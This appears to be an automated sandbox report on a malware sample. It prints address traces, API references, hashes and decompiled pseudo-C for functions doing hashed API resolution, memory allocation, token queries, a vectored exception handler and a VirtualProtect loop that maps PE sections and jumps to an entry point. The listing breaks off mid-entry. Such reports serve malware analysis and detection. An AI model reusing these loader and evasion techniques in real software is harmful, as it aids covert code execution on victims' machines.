                                                                                                      0x6ec40fae
                                                                                                      0x6ec40ea8
                                                                                                      0x6ec40eb3
                                                                                                      0x6ec40ec2
                                                                                                      0x6ec40ed4
                                                                                                      0x6ec40ed6
                                                                                                      0x6ec40ed8
                                                                                                      0x6ec40ee5
                                                                                                      0x6ec40ee5
                                                                                                      0x6ec40ef5
                                                                                                      0x6ec40f06
                                                                                                      0x6ec40f0b
                                                                                                      0x6ec40f0d
                                                                                                      0x6ec40f0f
                                                                                                      0x6ec40f16
                                                                                                      0x6ec40f17
                                                                                                      0x6ec40f17
                                                                                                      0x6ec40f23
                                                                                                      0x6ec40f44
                                                                                                      0x6ec40f4d
                                                                                                      0x6ec40f59
                                                                                                      0x6ec40f65
                                                                                                      0x6ec40f6a
                                                                                                      0x6ec40f6f
                                                                                                      0x6ec40f75
                                                                                                      0x6ec40f75
                                                                                                      0x6ec40f7a
                                                                                                      0x6ec40f80
                                                                                                      0x00000000
                                                                                                      0x6ec40f86
                                                                                                      0x6ec40f88
                                                                                                      0x00000000
                                                                                                      0x6ec40f88
                                                                                                      0x6ec40bca
                                                                                                      0x6ec40bca
                                                                                                      0x6ec40bcf
                                                                                                      0x6ec40bd5
                                                                                                      0x6ec40bd5
                                                                                                      0x00000000
                                                                                                      0x6ec40bcf
                                                                                                      0x6ec40bc4
                                                                                                      0x6ec40898
                                                                                                      0x6ec40808
                                                                                                      0x6ec40809
                                                                                                      0x6ec4080b
                                                                                                      0x6ec40811
                                                                                                      0x6ec40dde
                                                                                                      0x6ec40de3
                                                                                                      0x6ec40de5
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40deb
                                                                                                      0x6ec40828
                                                                                                      0x6ec4082c
                                                                                                      0x6ec40831
                                                                                                      0x6ec40847
                                                                                                      0x6ec4085e
                                                                                                      0x6ec40862
                                                                                                      0x6ec40c5a
                                                                                                      0x6ec40c5a
                                                                                                      0x6ec40862
                                                                                                      0x6ec40868
                                                                                                      0x6ec40871
                                                                                                      0x6ec40c69
                                                                                                      0x6ec40c7a
                                                                                                      0x6ec40c7f
                                                                                                      0x6ec40c81
                                                                                                      0x6ec40c83
                                                                                                      0x6ec40db4
                                                                                                      0x6ec40db8
                                                                                                      0x00000000
                                                                                                      0x6ec40db8
                                                                                                      0x6ec40c8f
                                                                                                      0x6ec40cb4
                                                                                                      0x6ec40cb6
                                                                                                      0x6ec40cb8
                                                                                                      0x6ec40dd0
                                                                                                      0x6ec40dd5
                                                                                                      0x6ec40dd7
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40dd9
                                                                                                      0x6ec40cc9
                                                                                                      0x6ec40cd7
                                                                                                      0x6ec40cde
                                                                                                      0x6ec40cdf
                                                                                                      0x6ec40ce0
                                                                                                      0x6ec40cf2
                                                                                                      0x6ec40cf4
                                                                                                      0x6ec40cf6
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40cfe
                                                                                                      0x6ec40d19
                                                                                                      0x6ec40d1b
                                                                                                      0x6ec40d1d
                                                                                                      0x6ec40dc2
                                                                                                      0x6ec40dc7
                                                                                                      0x6ec40dc9
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40dcb
                                                                                                      0x6ec40d23
                                                                                                      0x6ec40d2a
                                                                                                      0x6ec40d2e
                                                                                                      0x6ec40d99
                                                                                                      0x6ec40d99
                                                                                                      0x6ec40d9b
                                                                                                      0x6ec40da2
                                                                                                      0x6ec40da2
                                                                                                      0x6ec40da8
                                                                                                      0x6ec40da8
                                                                                                      0x6ec40daa
                                                                                                      0x6ec40daf
                                                                                                      0x6ec40daf
                                                                                                      0x00000000
                                                                                                      0x6ec40daa
                                                                                                      0x6ec40d9d
                                                                                                      0x6ec40da0
                                                                                                      0x6ec40da6
                                                                                                      0x6ec40da6
                                                                                                      0x00000000
                                                                                                      0x6ec40da6
                                                                                                      0x00000000
                                                                                                      0x6ec40da0
                                                                                                      0x6ec40d30
                                                                                                      0x6ec40d30
                                                                                                      0x6ec40d32
                                                                                                      0x6ec40d3e
                                                                                                      0x6ec40d43
                                                                                                      0x6ec40d45
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40d47
                                                                                                      0x6ec40d4b
                                                                                                      0x6ec40d52
                                                                                                      0x6ec40d53
                                                                                                      0x6ec40d54
                                                                                                      0x6ec40d56
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40d58
                                                                                                      0x6ec40d5a
                                                                                                      0x6ec40d61
                                                                                                      0x6ec40d61
                                                                                                      0x6ec40d67
                                                                                                      0x6ec40d67
                                                                                                      0x6ec40d69
                                                                                                      0x6ec40d6e
                                                                                                      0x6ec40d6e
                                                                                                      0x6ec40d77
                                                                                                      0x6ec40d7c
                                                                                                      0x6ec40d81
                                                                                                      0x6ec40d87
                                                                                                      0x6ec40d87
                                                                                                      0x6ec40d8c
                                                                                                      0x00000000
                                                                                                      0x6ec40d8c
                                                                                                      0x6ec40d5c
                                                                                                      0x6ec40d5f
                                                                                                      0x6ec40d65
                                                                                                      0x6ec40d65
                                                                                                      0x00000000
                                                                                                      0x6ec40d65
                                                                                                      0x00000000
                                                                                                      0x6ec40d93
                                                                                                      0x6ec40d93
                                                                                                      0x6ec40d94
                                                                                                      0x6ec40d94
                                                                                                      0x00000000
                                                                                                      0x6ec40d32
                                                                                                      0x6ec40877
                                                                                                      0x6ec4087c
                                                                                                      0x6ec40882
                                                                                                      0x6ec40882
                                                                                                      0x00000000
                                                                                                      0x6ec40c59
                                                                                                      0x6ec40c59
                                                                                                      0x6ec40c59

                                                                                                      APIs
                                                                                                      • GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,150C05FC,150C05FC), ref: 6EC4085E
                                                                                                      • GetSystemInfo.KERNELBASE(?,8E844D1E,8E844D1E,?,?,360D0C74,?,?,1E55AAEC,?,?,C0092A94,00000000,80000002,00000000,-000000FC), ref: 6EC40C20
                                                                                                      • GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,150C05FC,150C05FC,00000000,150C05FC,150C05FC), ref: 6EC40CB4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: InformationToken$InfoSystem
                                                                                                      • String ID:
                                                                                                      • API String ID: 298373132-0
                                                                                                      • Opcode ID: 7a7baf2f20d80fbbac6aa80cda1392b34d78d50e360b02ee59d25682b9233d3b
                                                                                                      • Instruction ID: 37fb71a281028c498f4c80092a6604b294d762b8bfae5eac6e25bb90a64a3a84
                                                                                                      • Opcode Fuzzy Hash: 7a7baf2f20d80fbbac6aa80cda1392b34d78d50e360b02ee59d25682b9233d3b
                                                                                                      • Instruction Fuzzy Hash: 3B22C471688341EEE761DBA9C851BDF77A9AFA1308F108D1CE99447199FB30D805CB53
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 58%
                                                                                                      			E6EC42234(void* __ecx, intOrPtr __edx, void* __esi) {
                                                                                                      				intOrPtr _v4;
                                                                                                      				intOrPtr _v20;
                                                                                                      				intOrPtr* _t5;
                                                                                                      				intOrPtr _t11;
                                                                                                      				intOrPtr* _t13;
                                                                                                      				intOrPtr* _t15;
                                                                                                      
                                                                                                      				_t11 = __edx;
                                                                                                      				if(__ecx == 0) {
                                                                                                      					 *_t15 = 0;
                                                                                                      					_v4 = 0;
                                                                                                      				} else {
                                                                                                      					 *_t15 = E6EC43AF8(0xffffd8f0, 0xffffffff, __ecx, 0);
                                                                                                      					_v20 = _t11;
                                                                                                      				}
                                                                                                      				_t5 = E6EC4306C(0x60a28c5c, 0x11cab064, 0x60a28c5c, 0x60a28c5c);
                                                                                                      				_t13 = _t5;
                                                                                                      				if(_t13 != 0) {
                                                                                                      					_t5 =  *_t13(0, _t15); // executed
                                                                                                      				}
                                                                                                      				return _t5;
                                                                                                      			}









                                                                                                      0x6ec42234
                                                                                                      0x6ec42238
                                                                                                      0x6ec42254
                                                                                                      0x6ec42257
                                                                                                      0x6ec4223a
                                                                                                      0x6ec42249
                                                                                                      0x6ec4224c
                                                                                                      0x6ec4224c
                                                                                                      0x6ec42267
                                                                                                      0x6ec4226c
                                                                                                      0x6ec42270
                                                                                                      0x6ec42278
                                                                                                      0x6ec42278
                                                                                                      0x6ec4227c

                                                                                                      APIs
                                                                                                      • NtDelayExecution.NTDLL(00000000,00000000,60A28C5C,60A28C5C,FFFFFFFF,FFFFFFFF,6EC34B17,00000000,00000000,?), ref: 6EC42278
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: DelayExecution
                                                                                                      • String ID:
                                                                                                      • API String ID: 1249177460-0
                                                                                                      • Opcode ID: 2c9c5e460e6a6f6e58fad2ac9a5298f00f0cc66bf3291dc41720851ba70b474b
                                                                                                      • Instruction ID: 24cb880096bff7c0c5a607730a50d785d77a97e965e4860761f9e339ad5b6a48
                                                                                                      • Opcode Fuzzy Hash: 2c9c5e460e6a6f6e58fad2ac9a5298f00f0cc66bf3291dc41720851ba70b474b
                                                                                                      • Instruction Fuzzy Hash: 99E065B060E302EDE75896AD9C15B6B36D8AFC4620F208A2CB468D7188FA7094418361
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 100%
                                                                                                      			E6EC42820(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
                                                                                                      				long _v4;
                                                                                                      				void* _t8;
                                                                                                      				long _t10;
                                                                                                      				PVOID* _t19;
                                                                                                      
                                                                                                      				_v4 = __edx;
                                                                                                      				 *_t19 = __ecx;
                                                                                                      				if(E6EC4306C(0x60a28c5c, 0x414fdf7, 0x60a28c5c, 0x60a28c5c) == 0) {
                                                                                                      					L3:
                                                                                                      					_t8 =  *_t19;
                                                                                                      				} else {
                                                                                                      					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
                                                                                                      					if(_t10 == 0) {
                                                                                                      						goto L3;
                                                                                                      					} else {
                                                                                                      						_t8 = 0;
                                                                                                      					}
                                                                                                      				}
                                                                                                      				return _t8;
                                                                                                      			}







                                                                                                      0x6ec42827
                                                                                                      0x6ec42830
                                                                                                      0x6ec4283e
                                                                                                      0x6ec42861
                                                                                                      0x6ec42861
                                                                                                      0x6ec42840
                                                                                                      0x6ec42857
                                                                                                      0x6ec4285b
                                                                                                      0x00000000
                                                                                                      0x6ec4285d
                                                                                                      0x6ec4285d
                                                                                                      0x6ec4285d
                                                                                                      0x6ec4285b
                                                                                                      0x6ec42866

                                                                                                      APIs
                                                                                                      • NtAllocateVirtualMemory.NTDLL(6EC488E6,?,00000000,000000FF,6EC488E6,6EC488E6,60A28C5C,60A28C5C,?,?,6EC488E6,00003000,00000004,000000FF), ref: 6EC42857
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: AllocateMemoryVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 2167126740-0
                                                                                                      • Opcode ID: 1b6e0df76e67549dfb1e774fc107f98af224613b3e03ad2134b0c600fba901d1
                                                                                                      • Instruction ID: 9036e813cbeb6a55c14bdfa2e201b5e1ecdca07a84747936497e997f76fc6033
                                                                                                      • Opcode Fuzzy Hash: 1b6e0df76e67549dfb1e774fc107f98af224613b3e03ad2134b0c600fba901d1
                                                                                                      • Instruction Fuzzy Hash: 5FE03972209342EFEB09CA9ACC25E6FB7E9EF84604F108C2DB494C7250E730D8009721
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 37%
                                                                                                      			E6EC43138(intOrPtr* __ecx) {
                                                                                                      				void* _t1;
                                                                                                      
                                                                                                      				_push(E6EC434B0);
                                                                                                      				_push(1); // executed
                                                                                                      				_t1 =  *__ecx(); // executed
                                                                                                      				return _t1;
                                                                                                      			}




                                                                                                      0x6ec43138
                                                                                                      0x6ec4313d
                                                                                                      0x6ec4313f
                                                                                                      0x6ec43141

                                                                                                      APIs
                                                                                                      • RtlAddVectoredExceptionHandler.NTDLL(00000001,6EC434B0,6EC43128,60A28C5C,60A28C5C,?,6EC36C99,00000000), ref: 6EC4313F
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: ExceptionHandlerVectored
                                                                                                      • String ID:
                                                                                                      • API String ID: 3310709589-0
                                                                                                      • Opcode ID: 821815fd4eeb5b8be9d4fb9c893073d336b6f60e37fb0eaa0ffeb6834a73bf16
                                                                                                      • Instruction ID: f34126abf7de17185086e10fa9af31c20e3621ef6f53bf8d473377d86df283e5
                                                                                                      • Opcode Fuzzy Hash: 821815fd4eeb5b8be9d4fb9c893073d336b6f60e37fb0eaa0ffeb6834a73bf16
                                                                                                      • Instruction Fuzzy Hash:
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 42%
                                                                                                      			E00AF2092(long __ebx, void* __edi, long __esi, intOrPtr* _a4) {
                                                                                                      				char _v20;
                                                                                                      				intOrPtr _v24;
                                                                                                      				intOrPtr _v28;
                                                                                                      				intOrPtr _v32;
                                                                                                      				intOrPtr _v36;
                                                                                                      				intOrPtr _v40;
                                                                                                      				char _v44;
                                                                                                      				intOrPtr* _v48;
                                                                                                      				intOrPtr _v52;
                                                                                                      				intOrPtr _v56;
                                                                                                      				intOrPtr _v60;
                                                                                                      				intOrPtr _v64;
                                                                                                      				void* _v68;
                                                                                                      				char* _v72;
                                                                                                      				int _v76;
                                                                                                      				long _v80;
                                                                                                      				long _v84;
                                                                                                      				DWORD* _v88;
                                                                                                      				intOrPtr _v92;
                                                                                                      				int _v96;
                                                                                                      				intOrPtr* _v100;
                                                                                                      				intOrPtr _v104;
                                                                                                      				intOrPtr _v108;
                                                                                                      				intOrPtr _v112;
                                                                                                      				void* _v116;
                                                                                                      				intOrPtr _v120;
                                                                                                      				intOrPtr _v124;
                                                                                                      				intOrPtr _v128;
                                                                                                      				intOrPtr _v132;
                                                                                                      				intOrPtr _v136;
                                                                                                      				intOrPtr _v140;
                                                                                                      				signed int _v144;
                                                                                                      				intOrPtr _v148;
                                                                                                      				intOrPtr _v152;
                                                                                                      				int _v156;
                                                                                                      				char* _v160;
                                                                                                      				intOrPtr _v164;
                                                                                                      				intOrPtr _v168;
                                                                                                      				intOrPtr _v172;
                                                                                                      				char* _v176;
                                                                                                      				intOrPtr _v180;
                                                                                                      				intOrPtr _v184;
                                                                                                      				char _v188;
                                                                                                      				intOrPtr* _t140;
                                                                                                      				int _t147;
                                                                                                      				int _t155;
                                                                                                      				int _t159;
                                                                                                      				intOrPtr _t174;
                                                                                                      				int _t183;
                                                                                                      				intOrPtr _t226;
                                                                                                      				void* _t233;
                                                                                                      				intOrPtr _t236;
                                                                                                      				void* _t243;
                                                                                                      				intOrPtr* _t247;
                                                                                                      				unsigned int _t250;
                                                                                                      				intOrPtr _t259;
                                                                                                      				DWORD* _t271;
                                                                                                      				void* _t275;
                                                                                                      				intOrPtr* _t278;
                                                                                                      				intOrPtr* _t279;
                                                                                                      
                                                                                                      				_t140 = _a4;
                                                                                                      				_v20 = 0;
                                                                                                      				_t243 =  *((intOrPtr*)(_t140 + 0x44));
                                                                                                      				 *0xaf4418 = 1;
                                                                                                      				asm("movaps xmm0, [0xaf3010]");
                                                                                                      				asm("movups [0xaf4428], xmm0");
                                                                                                      				_v48 = _t140;
                                                                                                      				_v52 =  *((intOrPtr*)(_t140 + 0x48));
                                                                                                      				_v56 =  *((intOrPtr*)(_v48 + 0x38));
                                                                                                      				_v188 = _t243;
                                                                                                      				_v184 =  *((intOrPtr*)(_v48 + 0x58));
                                                                                                      				_v180 = 4;
                                                                                                      				_v176 =  &_v20;
                                                                                                      				_v60 =  *((intOrPtr*)(_t140 + 0x54));
                                                                                                      				_v64 = 4;
                                                                                                      				_v68 = _t243;
                                                                                                      				_v72 =  &_v20;
                                                                                                      				_t147 = VirtualProtect(__edi, __ebx, __esi, _t271); // executed
                                                                                                      				_v76 = _t147;
                                                                                                      				_v188 = _v68;
                                                                                                      				_v184 = 0;
                                                                                                      				_v180 =  *((intOrPtr*)(_v48 + 0x58));
                                                                                                      				_v80 = 0x400;
                                                                                                      				_v84 = 2;
                                                                                                      				_v88 =  &_v20;
                                                                                                      				_v92 = 0;
                                                                                                      				E00AF1770();
                                                                                                      				E00AF17BD(_v68,  *((intOrPtr*)(_v48 + 0x28)), _v56);
                                                                                                      				E00AF1770( *((intOrPtr*)(_v48 + 0x28)), 0, _v56);
                                                                                                      				_t155 = VirtualProtect(_v68, 0x400, 2, _v88); // executed
                                                                                                      				_t278 = _t275 - 0x8c;
                                                                                                      				_t233 = _v68;
                                                                                                      				_t259 =  *((intOrPtr*)(_t233 + 0x3c));
                                                                                                      				_v96 = _t155;
                                                                                                      				_v100 = _v68 + 0x3c;
                                                                                                      				_v104 = _t233;
                                                                                                      				_v108 = _t259;
                                                                                                      				if(_t259 != 0) {
                                                                                                      					_v104 = _v68 + (_v108 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                      				}
                                                                                                      				_v120 = _v104;
                                                                                                      				if(_v60 != 0) {
                                                                                                      					_v124 = 0;
                                                                                                      					_v128 = _v120 + 0x18 + ( *(_v120 + 0x14) & 0x0000ffff);
                                                                                                      					while(1) {
                                                                                                      						_t174 = _v128;
                                                                                                      						_t250 =  *(_t174 + 0x24);
                                                                                                      						_v140 = _t174;
                                                                                                      						_v144 = _t250 >> 0x1f;
                                                                                                      						_v148 =  *((intOrPtr*)(_v140 + 8));
                                                                                                      						_v188 = _v68 +  *((intOrPtr*)(_v140 + 0xc));
                                                                                                      						_v184 = _v148;
                                                                                                      						_v180 =  *((intOrPtr*)(0xaf4418 + ((_t250 >> 0x0000001e & 0x00000001) << 4) + (_v144 << 3) + ((_t250 >> 0x0000001d & 0x00000001) << 2)));
                                                                                                      						_v176 =  &_v20;
                                                                                                      						_v152 = _v124;
                                                                                                      						_t183 = VirtualProtect(??, ??, ??, ??); // executed
                                                                                                      						_t278 = _t278 - 0x10;
                                                                                                      						_t226 = _v152 + 1;
                                                                                                      						_v156 = _t183;
                                                                                                      						_v124 = _t226;
                                                                                                      						_v128 = _v140 + 0x28;
                                                                                                      						if(_t226 == _v60) {
                                                                                                      							goto L8;
                                                                                                      						}
                                                                                                      					}
                                                                                                      				}
                                                                                                      				L8:
                                                                                                      				 *_t278 = _v68;
                                                                                                      				_v132 = _v68 +  *((intOrPtr*)(_v48 + 0x24));
                                                                                                      				_t159 = DisableThreadLibraryCalls(??);
                                                                                                      				_t279 = _t278 - 4;
                                                                                                      				_t236 =  *_v100;
                                                                                                      				_v136 = _t159;
                                                                                                      				_v112 = _t236;
                                                                                                      				_v116 = _v68;
                                                                                                      				if(_t236 != 0) {
                                                                                                      					_v116 = _v68 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                      				}
                                                                                                      				_t247 = _v48;
                                                                                                      				_v44 =  *((intOrPtr*)(_t247 + 0x50));
                                                                                                      				_v40 =  *_t247;
                                                                                                      				_v36 =  *((intOrPtr*)(_t247 + 0x18));
                                                                                                      				_v32 =  *((intOrPtr*)(_t247 + 0x4c));
                                                                                                      				_v28 =  *((intOrPtr*)(_t247 + 0x10));
                                                                                                      				_v24 = _v132;
                                                                                                      				 *_t279 = _t247;
                                                                                                      				_v188 = 0;
                                                                                                      				_v184 = 0x60;
                                                                                                      				_v160 =  &_v44;
                                                                                                      				_v164 = 0;
                                                                                                      				_v168 = 0x60;
                                                                                                      				_v172 =  *((intOrPtr*)(_v116 + 0x28));
                                                                                                      				E00AF1770();
                                                                                                      				if(_v172 != 0) {
                                                                                                      					_t279 =  *((intOrPtr*)( &_v44 + 0x10));
                                                                                                      					goto __eax;
                                                                                                      				}
                                                                                                      				return 1;
                                                                                                      			}































































                                                                                                      0x00af209e
                                                                                                      0x00af20ac
                                                                                                      0x00af20b3
                                                                                                      0x00af20b6
                                                                                                      0x00af20c0
                                                                                                      0x00af20c7
                                                                                                      0x00af20d1
                                                                                                      0x00af20d7
                                                                                                      0x00af20e0
                                                                                                      0x00af20e9
                                                                                                      0x00af20ec
                                                                                                      0x00af20f0
                                                                                                      0x00af20f8
                                                                                                      0x00af20ff
                                                                                                      0x00af2102
                                                                                                      0x00af2105
                                                                                                      0x00af2108
                                                                                                      0x00af210b
                                                                                                      0x00af2125
                                                                                                      0x00af212b
                                                                                                      0x00af212e
                                                                                                      0x00af2136
                                                                                                      0x00af213a
                                                                                                      0x00af213d
                                                                                                      0x00af2140
                                                                                                      0x00af2143
                                                                                                      0x00af2146
                                                                                                      0x00af2162
                                                                                                      0x00af217f
                                                                                                      0x00af21a4
                                                                                                      0x00af21a6
                                                                                                      0x00af21af
                                                                                                      0x00af21b2
                                                                                                      0x00af21bc
                                                                                                      0x00af21bf
                                                                                                      0x00af21c2
                                                                                                      0x00af21c5
                                                                                                      0x00af21c8
                                                                                                      0x00af2216
                                                                                                      0x00af2216
                                                                                                      0x00af2249
                                                                                                      0x00af224c
                                                                                                      0x00af225c
                                                                                                      0x00af225f
                                                                                                      0x00af22a8
                                                                                                      0x00af22a8
                                                                                                      0x00af22b7
                                                                                                      0x00af22bf
                                                                                                      0x00af22cd
                                                                                                      0x00af22dc
                                                                                                      0x00af230d
                                                                                                      0x00af2316
                                                                                                      0x00af231a
                                                                                                      0x00af231e
                                                                                                      0x00af2325
                                                                                                      0x00af232b
                                                                                                      0x00af232d
                                                                                                      0x00af2336
                                                                                                      0x00af2347
                                                                                                      0x00af234d
                                                                                                      0x00af2350
                                                                                                      0x00af2353
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00af2359
                                                                                                      0x00af22a8
                                                                                                      0x00af2264
                                                                                                      0x00af2272
                                                                                                      0x00af227a
                                                                                                      0x00af227d
                                                                                                      0x00af227f
                                                                                                      0x00af2285
                                                                                                      0x00af2291
                                                                                                      0x00af2297
                                                                                                      0x00af229a
                                                                                                      0x00af229d
                                                                                                      0x00af21f9
                                                                                                      0x00af21f9
                                                                                                      0x00af236e
                                                                                                      0x00af2374
                                                                                                      0x00af2379
                                                                                                      0x00af237f
                                                                                                      0x00af2385
                                                                                                      0x00af238b
                                                                                                      0x00af2391
                                                                                                      0x00af2394
                                                                                                      0x00af2397
                                                                                                      0x00af239f
                                                                                                      0x00af23a7
                                                                                                      0x00af23ad
                                                                                                      0x00af23b3
                                                                                                      0x00af23b9
                                                                                                      0x00af23bf
                                                                                                      0x00af23cd
                                                                                                      0x00af21da
                                                                                                      0x00af21e0
                                                                                                      0x00af21e0
                                                                                                      0x00af2234

                                                                                                      APIs
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.818558490.0000000000AF0000.00000040.00000001.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                      Similarity
                                                                                                      • API ID: ProtectVirtual
                                                                                                      • String ID: `
                                                                                                      • API String ID: 544645111-2679148245
                                                                                                      • Opcode ID: 5117b6880517269e66d0559be88044bb000806c623e6575a22c5b4072b410072
                                                                                                      • Instruction ID: b7ec5e1337f09452080ae79c4c0727a2c3ff1caf24b0460d66af3cc9197e8360
                                                                                                      • Opcode Fuzzy Hash: 5117b6880517269e66d0559be88044bb000806c623e6575a22c5b4072b410072
                                                                                                      • Instruction Fuzzy Hash: DDB1BEB5E00219CFCB14CF99C980AADFBF1BF88304F15816AE958AB351D731A981CF91
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 86%
                                                                                                      			E6EC410A4(void* __ebx, void* __ecx) {
                                                                                                      				intOrPtr* _t34;
                                                                                                      				long* _t55;
                                                                                                      				long* _t59;
                                                                                                      				intOrPtr* _t64;
                                                                                                      				void* _t73;
                                                                                                      				void* _t74;
                                                                                                      				void* _t79;
                                                                                                      				long* _t80;
                                                                                                      
                                                                                                      				_t74 = __ecx;
                                                                                                      				_t80[7] = 0;
                                                                                                      				_t64 = E6EC4306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                      				if(_t64 != 0) {
                                                                                                      					 *_t64(_t74, 8,  &(_t80[7]));
                                                                                                      				}
                                                                                                      				_t55 = _t80;
                                                                                                      				 *_t55 = _t80[7];
                                                                                                      				_t55[1] = 1;
                                                                                                      				if(E6EC3C280(_t55) != 0) {
                                                                                                      					L6:
                                                                                                      					if(_t80[1] != 0) {
                                                                                                      						E6EC3BB44(_t80);
                                                                                                      					}
                                                                                                      					return 0;
                                                                                                      				}
                                                                                                      				_t80[6] = 0;
                                                                                                      				if(E6EC4306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) != 0) {
                                                                                                      					GetTokenInformation(_t80[4], 0x19, 0, 0,  &(_t80[6])); // executed
                                                                                                      				}
                                                                                                      				_t30 = _t80[6];
                                                                                                      				if(_t80[6] != 0) {
                                                                                                      					E6EC3F584( &(_t80[3]), _t30);
                                                                                                      					_t59 =  &(_t80[3]);
                                                                                                      					_t73 = E6EC3F4BC(_t59, 0);
                                                                                                      					_t34 = E6EC4306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                      					if (_t34 == 0) goto L33;
                                                                                                      					 *_t34 =  *_t34 + _t34;
                                                                                                      					 *((intOrPtr*)(_t79 + 0x50182444)) =  *((intOrPtr*)(_t79 + 0x50182444)) + _t59;
                                                                                                      				} else {
                                                                                                      					goto L6;
                                                                                                      				}
                                                                                                      			}











                                                                                                      0x6ec410b3
                                                                                                      0x6ec410b5
                                                                                                      0x6ec410c4
                                                                                                      0x6ec410c8
                                                                                                      0x6ec410d2
                                                                                                      0x6ec410d2
                                                                                                      0x6ec410d8
                                                                                                      0x6ec410db
                                                                                                      0x6ec410dd
                                                                                                      0x6ec410e8
                                                                                                      0x6ec41122
                                                                                                      0x6ec41127
                                                                                                      0x6ec4112c
                                                                                                      0x6ec4112c
                                                                                                      0x00000000
                                                                                                      0x6ec41131
                                                                                                      0x6ec410f4
                                                                                                      0x6ec41107
                                                                                                      0x6ec41118
                                                                                                      0x6ec41118
                                                                                                      0x6ec4111a
                                                                                                      0x6ec41120
                                                                                                      0x6ec4113e
                                                                                                      0x6ec41145
                                                                                                      0x6ec4114e
                                                                                                      0x6ec4115c
                                                                                                      0x6ec41165
                                                                                                      0x6ec41168
                                                                                                      0x6ec4116a
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000

                                                                                                      APIs
                                                                                                      • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6EC41118
                                                                                                      • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6EC4117B
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: InformationToken
                                                                                                      • String ID:
